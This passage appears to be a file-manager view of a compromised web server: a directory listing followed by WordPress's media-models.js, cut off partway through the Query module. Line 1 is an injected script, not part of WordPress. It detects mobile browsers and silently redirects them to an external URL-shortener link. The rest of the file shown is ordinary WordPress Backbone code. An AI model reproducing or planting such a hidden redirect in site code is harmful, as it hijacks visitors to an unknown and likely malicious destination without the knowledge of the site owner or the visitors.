run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄media-models.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/******/ (() => { // webpackBootstrap
3/******/ var __webpack_modules__ = ({
4
5/***/ 3343
6(module) {
7
8var $ = Backbone.$,
9 Attachment;
10
11/**
12 * wp.media.model.Attachment
13 *
14 * @memberOf wp.media.model
15 *
16 * @class
17 * @augments Backbone.Model
18 */
19Attachment = Backbone.Model.extend(/** @lends wp.media.model.Attachment.prototype */{
20 /**
21 * Triggered when attachment details change
22 * Overrides Backbone.Model.sync
23 *
24 * @param {string} method
25 * @param {wp.media.model.Attachment} model
26 * @param {Object} [options={}]
27 *
28 * @return {Promise}
29 */
30 sync: function( method, model, options ) {
31 // If the attachment does not yet have an `id`, return an instantly
32 // rejected promise. Otherwise, all of our requests will fail.
33 if ( _.isUndefined( this.id ) ) {
34 return $.Deferred().rejectWith( this ).promise();
35 }
36
37 // Overload the `read` request so Attachment.fetch() functions correctly.
38 if ( 'read' === method ) {
39 options = options || {};
40 options.context = this;
41 options.data = _.extend( options.data || {}, {
42 action: 'get-attachment',
43 id: this.id
44 });
45 return wp.media.ajax( options );
46
47 // Overload the `update` request so properties can be saved.
48 } else if ( 'update' === method ) {
49 // If we do not have the necessary nonce, fail immediately.
50 if ( ! this.get('nonces') || ! this.get('nonces').update ) {
51 return $.Deferred().rejectWith( this ).promise();
52 }
53
54 options = options || {};
55 options.context = this;
56
57 // Set the action and ID.
58 options.data = _.extend( options.data || {}, {
59 action: 'save-attachment',
60 id: this.id,
61 nonce: this.get('nonces').update,
62 post_id: wp.media.model.settings.post.id
63 });
64
65 // Record the values of the changed attributes.
66 if ( model.hasChanged() ) {
67 options.data.changes = {};
68
69 _.each( model.changed, function( value, key ) {
70 options.data.changes[ key ] = this.get( key );
71 }, this );
72 }
73
74 return wp.media.ajax( options );
75
76 // Overload the `delete` request so attachments can be removed.
77 // This will permanently delete an attachment.
78 } else if ( 'delete' === method ) {
79 options = options || {};
80
81 if ( ! options.wait ) {
82 this.destroyed = true;
83 }
84
85 options.context = this;
86 options.data = _.extend( options.data || {}, {
87 action: 'delete-post',
88 id: this.id,
89 _wpnonce: this.get('nonces')['delete']
90 });
91
92 return wp.media.ajax( options ).done( function() {
93 this.destroyed = true;
94 }).fail( function() {
95 this.destroyed = false;
96 });
97
98 // Otherwise, fall back to `Backbone.sync()`.
99 } else {
100 /**
101 * Call `sync` directly on Backbone.Model
102 */
103 return Backbone.Model.prototype.sync.apply( this, arguments );
104 }
105 },
106 /**
107 * Convert date strings into Date objects.
108 *
109 * @param {Object} resp The raw response object, typically returned by fetch()
110 * @return {Object} The modified response object, which is the attributes hash
111 * to be set on the model.
112 */
113 parse: function( resp ) {
114 if ( ! resp ) {
115 return resp;
116 }
117
118 resp.date = new Date( resp.date );
119 resp.modified = new Date( resp.modified );
120 return resp;
121 },
122 /**
123 * @param {Object} data The properties to be saved.
124 * @param {Object} options Sync options. e.g. patch, wait, success, error.
125 *
126 * @this Backbone.Model
127 *
128 * @return {Promise}
129 */
130 saveCompat: function( data, options ) {
131 var model = this;
132
133 // If we do not have the necessary nonce, fail immediately.
134 if ( ! this.get('nonces') || ! this.get('nonces').update ) {
135 return $.Deferred().rejectWith( this ).promise();
136 }
137
138 return wp.media.post( 'save-attachment-compat', _.defaults({
139 id: this.id,
140 nonce: this.get('nonces').update,
141 post_id: wp.media.model.settings.post.id
142 }, data ) ).done( function( resp, status, xhr ) {
143 model.set( model.parse( resp, xhr ), options );
144 });
145 }
146},/** @lends wp.media.model.Attachment */{
147 /**
148 * Create a new model on the static 'all' attachments collection and return it.
149 *
150 * @static
151 *
152 * @param {Object} attrs
153 * @return {wp.media.model.Attachment}
154 */
155 create: function( attrs ) {
156 var Attachments = wp.media.model.Attachments;
157 return Attachments.all.push( attrs );
158 },
159 /**
160 * Create a new model on the static 'all' attachments collection and return it.
161 *
162 * If this function has already been called for the id,
163 * it returns the specified attachment.
164 *
165 * @static
166 * @param {string} id A string used to identify a model.
167 * @param {Backbone.Model|undefined} attachment
168 * @return {wp.media.model.Attachment}
169 */
170 get: _.memoize( function( id, attachment ) {
171 var Attachments = wp.media.model.Attachments;
172 return Attachments.all.push( attachment || { id: id } );
173 })
174});
175
176module.exports = Attachment;
177
178
179/***/ },
180
181/***/ 8266
182(module) {
183
184/**
185 * wp.media.model.Attachments
186 *
187 * A collection of attachments.
188 *
189 * This collection has no persistence with the server without supplying
190 * 'options.props.query = true', which will mirror the collection
191 * to an Attachments Query collection - @see wp.media.model.Attachments.mirror().
192 *
193 * @memberOf wp.media.model
194 *
195 * @class
196 * @augments Backbone.Collection
197 *
198 * @param {array} [models] Models to initialize with the collection.
199 * @param {object} [options] Options hash for the collection.
200 * @param {string} [options.props] Options hash for the initial query properties.
201 * @param {string} [options.props.order] Initial order (ASC or DESC) for the collection.
202 * @param {string} [options.props.orderby] Initial attribute key to order the collection by.
203 * @param {string} [options.props.query] Whether the collection is linked to an attachments query.
204 * @param {string} [options.observe]
205 * @param {string} [options.filters]
206 *
207 */
208var Attachments = Backbone.Collection.extend(/** @lends wp.media.model.Attachments.prototype */{
209 /**
210 * @type {wp.media.model.Attachment}
211 */
212 model: wp.media.model.Attachment,
213 /**
214 * @param {Array} [models=[]] Array of models used to populate the collection.
215 * @param {Object} [options={}]
216 */
217 initialize: function( models, options ) {
218 options = options || {};
219
220 this.props = new Backbone.Model();
221 this.filters = options.filters || {};
222
223 // Bind default `change` events to the `props` model.
224 this.props.on( 'change', this._changeFilteredProps, this );
225
226 this.props.on( 'change:order', this._changeOrder, this );
227 this.props.on( 'change:orderby', this._changeOrderby, this );
228 this.props.on( 'change:query', this._changeQuery, this );
229
230 this.props.set( _.defaults( options.props || {} ) );
231
232 if ( options.observe ) {
233 this.observe( options.observe );
234 }
235 },
236 /**
237 * Sort the collection when the order attribute changes.
238 *
239 * @access private
240 */
241 _changeOrder: function() {
242 if ( this.comparator ) {
243 this.sort();
244 }
245 },
246 /**
247 * Set the default comparator only when the `orderby` property is set.
248 *
249 * @access private
250 *
251 * @param {Backbone.Model} model
252 * @param {string} orderby
253 */
254 _changeOrderby: function( model, orderby ) {
255 // If a different comparator is defined, bail.
256 if ( this.comparator && this.comparator !== Attachments.comparator ) {
257 return;
258 }
259
260 if ( orderby && 'post__in' !== orderby ) {
261 this.comparator = Attachments.comparator;
262 } else {
263 delete this.comparator;
264 }
265 },
266 /**
267 * If the `query` property is set to true, query the server using
268 * the `props` values, and sync the results to this collection.
269 *
270 * @access private
271 *
272 * @param {Backbone.Model} model
273 * @param {boolean} query
274 */
275 _changeQuery: function( model, query ) {
276 if ( query ) {
277 this.props.on( 'change', this._requery, this );
278 this._requery();
279 } else {
280 this.props.off( 'change', this._requery, this );
281 }
282 },
283 /**
284 * @access private
285 *
286 * @param {Backbone.Model} model
287 */
288 _changeFilteredProps: function( model ) {
289 // If this is a query, updating the collection will be handled by
290 // `this._requery()`.
291 if ( this.props.get('query') ) {
292 return;
293 }
294
295 var changed = _.chain( model.changed ).map( function( t, prop ) {
296 var filter = Attachments.filters[ prop ],
297 term = model.get( prop );
298
299 if ( ! filter ) {
300 return;
301 }
302
303 if ( term && ! this.filters[ prop ] ) {
304 this.filters[ prop ] = filter;
305 } else if ( ! term && this.filters[ prop ] === filter ) {
306 delete this.filters[ prop ];
307 } else {
308 return;
309 }
310
311 // Record the change.
312 return true;
313 }, this ).any().value();
314
315 if ( ! changed ) {
316 return;
317 }
318
319 // If no `Attachments` model is provided to source the searches from,
320 // then automatically generate a source from the existing models.
321 if ( ! this._source ) {
322 this._source = new Attachments( this.models );
323 }
324
325 this.reset( this._source.filter( this.validator, this ) );
326 },
327
328 validateDestroyed: false,
329 /**
330 * Checks whether an attachment is valid.
331 *
332 * @param {wp.media.model.Attachment} attachment
333 * @return {boolean}
334 */
335 validator: function( attachment ) {
336
337 if ( ! this.validateDestroyed && attachment.destroyed ) {
338 return false;
339 }
340 return _.all( this.filters, function( filter ) {
341 return !! filter.call( this, attachment );
342 }, this );
343 },
344 /**
345 * Add or remove an attachment to the collection depending on its validity.
346 *
347 * @param {wp.media.model.Attachment} attachment
348 * @param {Object} options
349 * @return {wp.media.model.Attachments} Returns itself to allow chaining.
350 */
351 validate: function( attachment, options ) {
352 var valid = this.validator( attachment ),
353 hasAttachment = !! this.get( attachment.cid );
354
355 if ( ! valid && hasAttachment ) {
356 this.remove( attachment, options );
357 } else if ( valid && ! hasAttachment ) {
358 this.add( attachment, options );
359 }
360
361 return this;
362 },
363
364 /**
365 * Add or remove all attachments from another collection depending on each one's validity.
366 *
367 * @param {wp.media.model.Attachments} attachments
368 * @param {Object} [options={}]
369 *
370 * @fires wp.media.model.Attachments#reset
371 *
372 * @return {wp.media.model.Attachments} Returns itself to allow chaining.
373 */
374 validateAll: function( attachments, options ) {
375 options = options || {};
376
377 _.each( attachments.models, function( attachment ) {
378 this.validate( attachment, { silent: true });
379 }, this );
380
381 if ( ! options.silent ) {
382 this.trigger( 'reset', this, options );
383 }
384 return this;
385 },
386 /**
387 * Start observing another attachments collection change events
388 * and replicate them on this collection.
389 *
390 * @param {wp.media.model.Attachments} The attachments collection to observe.
391 * @return {wp.media.model.Attachments} Returns itself to allow chaining.
392 */
393 observe: function( attachments ) {
394 this.observers = this.observers || [];
395 this.observers.push( attachments );
396
397 attachments.on( 'add change remove', this._validateHandler, this );
398 attachments.on( 'add', this._addToTotalAttachments, this );
399 attachments.on( 'remove', this._removeFromTotalAttachments, this );
400 attachments.on( 'reset', this._validateAllHandler, this );
401 this.validateAll( attachments );
402 return this;
403 },
404 /**
405 * Stop replicating collection change events from another attachments collection.
406 *
407 * @param {wp.media.model.Attachments} The attachments collection to stop observing.
408 * @return {wp.media.model.Attachments} Returns itself to allow chaining.
409 */
410 unobserve: function( attachments ) {
411 if ( attachments ) {
412 attachments.off( null, null, this );
413 this.observers = _.without( this.observers, attachments );
414
415 } else {
416 _.each( this.observers, function( attachments ) {
417 attachments.off( null, null, this );
418 }, this );
419 delete this.observers;
420 }
421
422 return this;
423 },
424 /**
425 * Update total attachment count when items are added to a collection.
426 *
427 * @access private
428 *
429 * @since 5.8.0
430 */
431 _removeFromTotalAttachments: function() {
432 if ( this.mirroring ) {
433 this.mirroring.totalAttachments = this.mirroring.totalAttachments - 1;
434 }
435 },
436 /**
437 * Update total attachment count when items are added to a collection.
438 *
439 * @access private
440 *
441 * @since 5.8.0
442 */
443 _addToTotalAttachments: function() {
444 if ( this.mirroring ) {
445 this.mirroring.totalAttachments = this.mirroring.totalAttachments + 1;
446 }
447 },
448 /**
449 * @access private
450 *
451 * @param {wp.media.model.Attachments} attachment
452 * @param {wp.media.model.Attachments} attachments
453 * @param {Object} options
454 *
455 * @return {wp.media.model.Attachments} Returns itself to allow chaining.
456 */
457 _validateHandler: function( attachment, attachments, options ) {
458 // If we're not mirroring this `attachments` collection,
459 // only retain the `silent` option.
460 options = attachments === this.mirroring ? options : {
461 silent: options && options.silent
462 };
463
464 return this.validate( attachment, options );
465 },
466 /**
467 * @access private
468 *
469 * @param {wp.media.model.Attachments} attachments
470 * @param {Object} options
471 * @return {wp.media.model.Attachments} Returns itself to allow chaining.
472 */
473 _validateAllHandler: function( attachments, options ) {
474 return this.validateAll( attachments, options );
475 },
476 /**
477 * Start mirroring another attachments collection, clearing out any models already
478 * in the collection.
479 *
480 * @param {wp.media.model.Attachments} The attachments collection to mirror.
481 * @return {wp.media.model.Attachments} Returns itself to allow chaining.
482 */
483 mirror: function( attachments ) {
484 if ( this.mirroring && this.mirroring === attachments ) {
485 return this;
486 }
487
488 this.unmirror();
489 this.mirroring = attachments;
490
491 // Clear the collection silently. A `reset` event will be fired
492 // when `observe()` calls `validateAll()`.
493 this.reset( [], { silent: true } );
494 this.observe( attachments );
495
496 // Used for the search results.
497 this.trigger( 'attachments:received', this );
498 return this;
499 },
500 /**
501 * Stop mirroring another attachments collection.
502 */
503 unmirror: function() {
504 if ( ! this.mirroring ) {
505 return;
506 }
507
508 this.unobserve( this.mirroring );
509 delete this.mirroring;
510 },
511 /**
512 * Retrieve more attachments from the server for the collection.
513 *
514 * Only works if the collection is mirroring a Query Attachments collection,
515 * and forwards to its `more` method. This collection class doesn't have
516 * server persistence by itself.
517 *
518 * @param {Object} options
519 * @return {Promise}
520 */
521 more: function( options ) {
522 var deferred = jQuery.Deferred(),
523 mirroring = this.mirroring,
524 attachments = this;
525
526 if ( ! mirroring || ! mirroring.more ) {
527 return deferred.resolveWith( this ).promise();
528 }
529 /*
530 * If we're mirroring another collection, forward `more` to
531 * the mirrored collection. Account for a race condition by
532 * checking if we're still mirroring that collection when
533 * the request resolves.
534 */
535 mirroring.more( options ).done( function() {
536 if ( this === attachments.mirroring ) {
537 deferred.resolveWith( this );
538 }
539
540 // Used for the search results.
541 attachments.trigger( 'attachments:received', this );
542 });
543
544 return deferred.promise();
545 },
546 /**
547 * Whether there are more attachments that haven't been sync'd from the server
548 * that match the collection's query.
549 *
550 * Only works if the collection is mirroring a Query Attachments collection,
551 * and forwards to its `hasMore` method. This collection class doesn't have
552 * server persistence by itself.
553 *
554 * @return {boolean}
555 */
556 hasMore: function() {
557 return this.mirroring ? this.mirroring.hasMore() : false;
558 },
559 /**
560 * Holds the total number of attachments.
561 *
562 * @since 5.8.0
563 */
564 totalAttachments: 0,
565
566 /**
567 * Gets the total number of attachments.
568 *
569 * @since 5.8.0
570 *
571 * @return {number} The total number of attachments.
572 */
573 getTotalAttachments: function() {
574 return this.mirroring ? this.mirroring.totalAttachments : 0;
575 },
576
577 /**
578 * A custom Ajax-response parser.
579 *
580 * See trac ticket #24753.
581 *
582 * Called automatically by Backbone whenever a collection's models are returned
583 * by the server, in fetch. The default implementation is a no-op, simply
584 * passing through the JSON response. We override this to add attributes to
585 * the collection items.
586 *
587 * @param {Object|Array} response The raw response Object/Array.
588 * @param {Object} xhr
589 * @return {Array} The array of model attributes to be added to the collection
590 */
591 parse: function( response, xhr ) {
592 if ( ! _.isArray( response ) ) {
593 response = [response];
594 }
595 return _.map( response, function( attrs ) {
596 var id, attachment, newAttributes;
597
598 if ( attrs instanceof Backbone.Model ) {
599 id = attrs.get( 'id' );
600 attrs = attrs.attributes;
601 } else {
602 id = attrs.id;
603 }
604
605 attachment = wp.media.model.Attachment.get( id );
606 newAttributes = attachment.parse( attrs, xhr );
607
608 if ( ! _.isEqual( attachment.attributes, newAttributes ) ) {
609 attachment.set( newAttributes );
610 }
611
612 return attachment;
613 });
614 },
615
616 /**
617 * If the collection is a query, create and mirror an Attachments Query collection.
618 *
619 * @access private
620 * @param {Boolean} refresh Deprecated, refresh parameter no longer used.
621 */
622 _requery: function() {
623 var props;
624 if ( this.props.get('query') ) {
625 props = this.props.toJSON();
626 this.mirror( wp.media.model.Query.get( props ) );
627 }
628 },
629 /**
630 * If this collection is sorted by `menuOrder`, recalculates and saves
631 * the menu order to the database.
632 *
633 * @return {undefined|Promise}
634 */
635 saveMenuOrder: function() {
636 if ( 'menuOrder' !== this.props.get('orderby') ) {
637 return;
638 }
639
640 /*
641 * Removes any uploading attachments, updates each attachment's
642 * menu order, and returns an object with an { id: menuOrder }
643 * mapping to pass to the request.
644 */
645 var attachments = this.chain().filter( function( attachment ) {
646 return ! _.isUndefined( attachment.id );
647 }).map( function( attachment, index ) {
648 // Indices start at 1.
649 index = index + 1;
650 attachment.set( 'menuOrder', index );
651 return [ attachment.id, index ];
652 }).object().value();
653
654 if ( _.isEmpty( attachments ) ) {
655 return;
656 }
657
658 return wp.media.post( 'save-attachment-order', {
659 nonce: wp.media.model.settings.post.nonce,
660 post_id: wp.media.model.settings.post.id,
661 attachments: attachments
662 });
663 }
664},/** @lends wp.media.model.Attachments */{
665 /**
666 * A function to compare two attachment models in an attachments collection.
667 *
668 * Used as the default comparator for instances of wp.media.model.Attachments
669 * and its subclasses. @see wp.media.model.Attachments._changeOrderby().
670 *
671 * @param {Backbone.Model} a
672 * @param {Backbone.Model} b
673 * @param {Object} options
674 * @return {number} -1 if the first model should come before the second,
675 * 0 if they are of the same rank and
676 * 1 if the first model should come after.
677 */
678 comparator: function( a, b, options ) {
679 var key = this.props.get('orderby'),
680 order = this.props.get('order') || 'DESC',
681 ac = a.cid,
682 bc = b.cid;
683
684 a = a.get( key );
685 b = b.get( key );
686
687 if ( 'date' === key || 'modified' === key ) {
688 a = a || new Date();
689 b = b || new Date();
690 }
691
692 // If `options.ties` is set, don't enforce the `cid` tiebreaker.
693 if ( options && options.ties ) {
694 ac = bc = null;
695 }
696
697 return ( 'DESC' === order ) ? wp.media.compare( a, b, ac, bc ) : wp.media.compare( b, a, bc, ac );
698 },
699 /** @namespace wp.media.model.Attachments.filters */
700 filters: {
701 /**
702 * @static
703 * Note that this client-side searching is *not* equivalent
704 * to our server-side searching.
705 *
706 * @param {wp.media.model.Attachment} attachment
707 *
708 * @this wp.media.model.Attachments
709 *
710 * @return {Boolean}
711 */
712 search: function( attachment ) {
713 if ( ! this.props.get('search') ) {
714 return true;
715 }
716
717 return _.any(['title','filename','description','caption','name'], function( key ) {
718 var value = attachment.get( key );
719 return value && -1 !== value.search( this.props.get('search') );
720 }, this );
721 },
722 /**
723 * @static
724 * @param {wp.media.model.Attachment} attachment
725 *
726 * @this wp.media.model.Attachments
727 *
728 * @return {boolean}
729 */
730 type: function( attachment ) {
731 var type = this.props.get('type'), atts = attachment.toJSON(), mime, found;
732
733 if ( ! type || ( _.isArray( type ) && ! type.length ) ) {
734 return true;
735 }
736
737 mime = atts.mime || ( atts.file && atts.file.type ) || '';
738
739 if ( _.isArray( type ) ) {
740 found = _.find( type, function (t) {
741 return -1 !== mime.indexOf( t );
742 } );
743 } else {
744 found = -1 !== mime.indexOf( type );
745 }
746
747 return found;
748 },
749 /**
750 * @static
751 * @param {wp.media.model.Attachment} attachment
752 *
753 * @this wp.media.model.Attachments
754 *
755 * @return {boolean}
756 */
757 uploadedTo: function( attachment ) {
758 var uploadedTo = this.props.get('uploadedTo');
759 if ( _.isUndefined( uploadedTo ) ) {
760 return true;
761 }
762
763 return uploadedTo === attachment.get('uploadedTo');
764 },
765 /**
766 * @static
767 * @param {wp.media.model.Attachment} attachment
768 *
769 * @this wp.media.model.Attachments
770 *
771 * @return {boolean}
772 */
773 status: function( attachment ) {
774 var status = this.props.get('status');
775 if ( _.isUndefined( status ) ) {
776 return true;
777 }
778
779 return status === attachment.get('status');
780 }
781 }
782});
783
784module.exports = Attachments;
785
786
787/***/ },
788
789/***/ 9104
790(module) {
791
792/**
793 * wp.media.model.PostImage
794 *
795 * An instance of an image that's been embedded into a post.
796 *
797 * Used in the embedded image attachment display settings modal - @see wp.media.view.MediaFrame.ImageDetails.
798 *
799 * @memberOf wp.media.model
800 *
801 * @class
802 * @augments Backbone.Model
803 *
804 * @param {int} [attributes] Initial model attributes.
805 * @param {int} [attributes.attachment_id] ID of the attachment.
806 **/
807var PostImage = Backbone.Model.extend(/** @lends wp.media.model.PostImage.prototype */{
808
809 initialize: function( attributes ) {
810 var Attachment = wp.media.model.Attachment;
811 this.attachment = false;
812
813 if ( attributes.attachment_id ) {
814 this.attachment = Attachment.get( attributes.attachment_id );
815 if ( this.attachment.get( 'url' ) ) {
816 this.dfd = jQuery.Deferred();
817 this.dfd.resolve();
818 } else {
819 this.dfd = this.attachment.fetch();
820 }
821 this.bindAttachmentListeners();
822 }
823
824 // Keep URL in sync with changes to the type of link.
825 this.on( 'change:link', this.updateLinkUrl, this );
826 this.on( 'change:size', this.updateSize, this );
827
828 this.setLinkTypeFromUrl();
829 this.setAspectRatio();
830
831 this.set( 'originalUrl', attributes.url );
832 },
833
834 bindAttachmentListeners: function() {
835 this.listenTo( this.attachment, 'sync', this.setLinkTypeFromUrl );
836 this.listenTo( this.attachment, 'sync', this.setAspectRatio );
837 this.listenTo( this.attachment, 'change', this.updateSize );
838 },
839
840 changeAttachment: function( attachment, props ) {
841 this.stopListening( this.attachment );
842 this.attachment = attachment;
843 this.bindAttachmentListeners();
844
845 this.set( 'attachment_id', this.attachment.get( 'id' ) );
846 this.set( 'caption', this.attachment.get( 'caption' ) );
847 this.set( 'alt', this.attachment.get( 'alt' ) );
848 this.set( 'size', props.get( 'size' ) );
849 this.set( 'align', props.get( 'align' ) );
850 this.set( 'link', props.get( 'link' ) );
851 this.updateLinkUrl();
852 this.updateSize();
853 },
854
855 setLinkTypeFromUrl: function() {
856 var linkUrl = this.get( 'linkUrl' ),
857 type;
858
859 if ( ! linkUrl ) {
860 this.set( 'link', 'none' );
861 return;
862 }
863
864 // Default to custom if there is a linkUrl.
865 type = 'custom';
866
867 if ( this.attachment ) {
868 if ( this.attachment.get( 'url' ) === linkUrl ) {
869 type = 'file';
870 } else if ( this.attachment.get( 'link' ) === linkUrl ) {
871 type = 'post';
872 }
873 } else {
874 if ( this.get( 'url' ) === linkUrl ) {
875 type = 'file';
876 }
877 }
878
879 this.set( 'link', type );
880 },
881
882 updateLinkUrl: function() {
883 var link = this.get( 'link' ),
884 url;
885
886 switch( link ) {
887 case 'file':
888 if ( this.attachment ) {
889 url = this.attachment.get( 'url' );
890 } else {
891 url = this.get( 'url' );
892 }
893 this.set( 'linkUrl', url );
894 break;
895 case 'post':
896 this.set( 'linkUrl', this.attachment.get( 'link' ) );
897 break;
898 case 'none':
899 this.set( 'linkUrl', '' );
900 break;
901 }
902 },
903
904 updateSize: function() {
905 var size;
906
907 if ( ! this.attachment ) {
908 return;
909 }
910
911 if ( this.get( 'size' ) === 'custom' ) {
912 this.set( 'width', this.get( 'customWidth' ) );
913 this.set( 'height', this.get( 'customHeight' ) );
914 this.set( 'url', this.get( 'originalUrl' ) );
915 return;
916 }
917
918 size = this.attachment.get( 'sizes' )[ this.get( 'size' ) ];
919
920 if ( ! size ) {
921 return;
922 }
923
924 this.set( 'url', size.url );
925 this.set( 'width', size.width );
926 this.set( 'height', size.height );
927 },
928
929 setAspectRatio: function() {
930 var full;
931
932 if ( this.attachment && this.attachment.get( 'sizes' ) ) {
933 full = this.attachment.get( 'sizes' ).full;
934
935 if ( full ) {
936 this.set( 'aspectRatio', full.width / full.height );
937 return;
938 }
939 }
940
941 this.set( 'aspectRatio', this.get( 'customWidth' ) / this.get( 'customHeight' ) );
942 }
943});
944
945module.exports = PostImage;
946
947
948/***/ },
949
950/***/ 1288
951(module) {
952
953var Attachments = wp.media.model.Attachments,
954 Query;
955
956/**
957 * wp.media.model.Query
958 *
959 * A collection of attachments that match the supplied query arguments.
960 *
961 * Note: Do NOT change this.args after the query has been initialized.
962 * Things will break.
963 *
964 * @memberOf wp.media.model
965 *
966 * @class
967 * @augments wp.media.model.Attachments
968 * @augments Backbone.Collection
969 *
970 * @param {array} [models] Models to initialize with the collection.
971 * @param {object} [options] Options hash.
972 * @param {object} [options.args] Attachments query arguments.
973 * @param {object} [options.args.posts_per_page]
974 */
975Query = Attachments.extend(/** @lends wp.media.model.Query.prototype */{
976 /**
977 * @param {Array} [models=[]] Array of initial models to populate the collection.
978 * @param {Object} [options={}]
979 */
980 initialize: function( models, options ) {
981 var allowed;
982
983 options = options || {};
984 Attachments.prototype.initialize.apply( this, arguments );
985
986 this.args = options.args;
987 this._hasMore = true;
988 this.created = new Date();
989
990 this.filters.order = function( attachment ) {
991 var orderby = this.props.get('orderby'),
992 order = this.props.get('order');
993
994 if ( ! this.comparator ) {
995 return true;
996 }
997
998 /*
999 * We want any items that can be placed before the last
1000 * item in the set. If we add any items after the last
1001 * item, then we can't guarantee the set is complete.
1002 */
1003 if ( this.length ) {
1004 return 1 !== this.comparator( attachment, this.last(), { ties: true });
1005
1006 /*
1007 * Handle the case where there are no items yet and
1008 * we're sorting for recent items. In that case, we want
1009 * changes that occurred after we created the query.
1010 */
1011 } else if ( 'DESC' === order && ( 'date' === orderby || 'modified' === orderby ) ) {
1012 return attachment.get( orderby ) >= this.created;
1013
1014 // If we're sorting by menu order and we have no items,
1015 // accept any items that have the default menu order (0).
1016 } else if ( 'ASC' === order && 'menuOrder' === orderby ) {
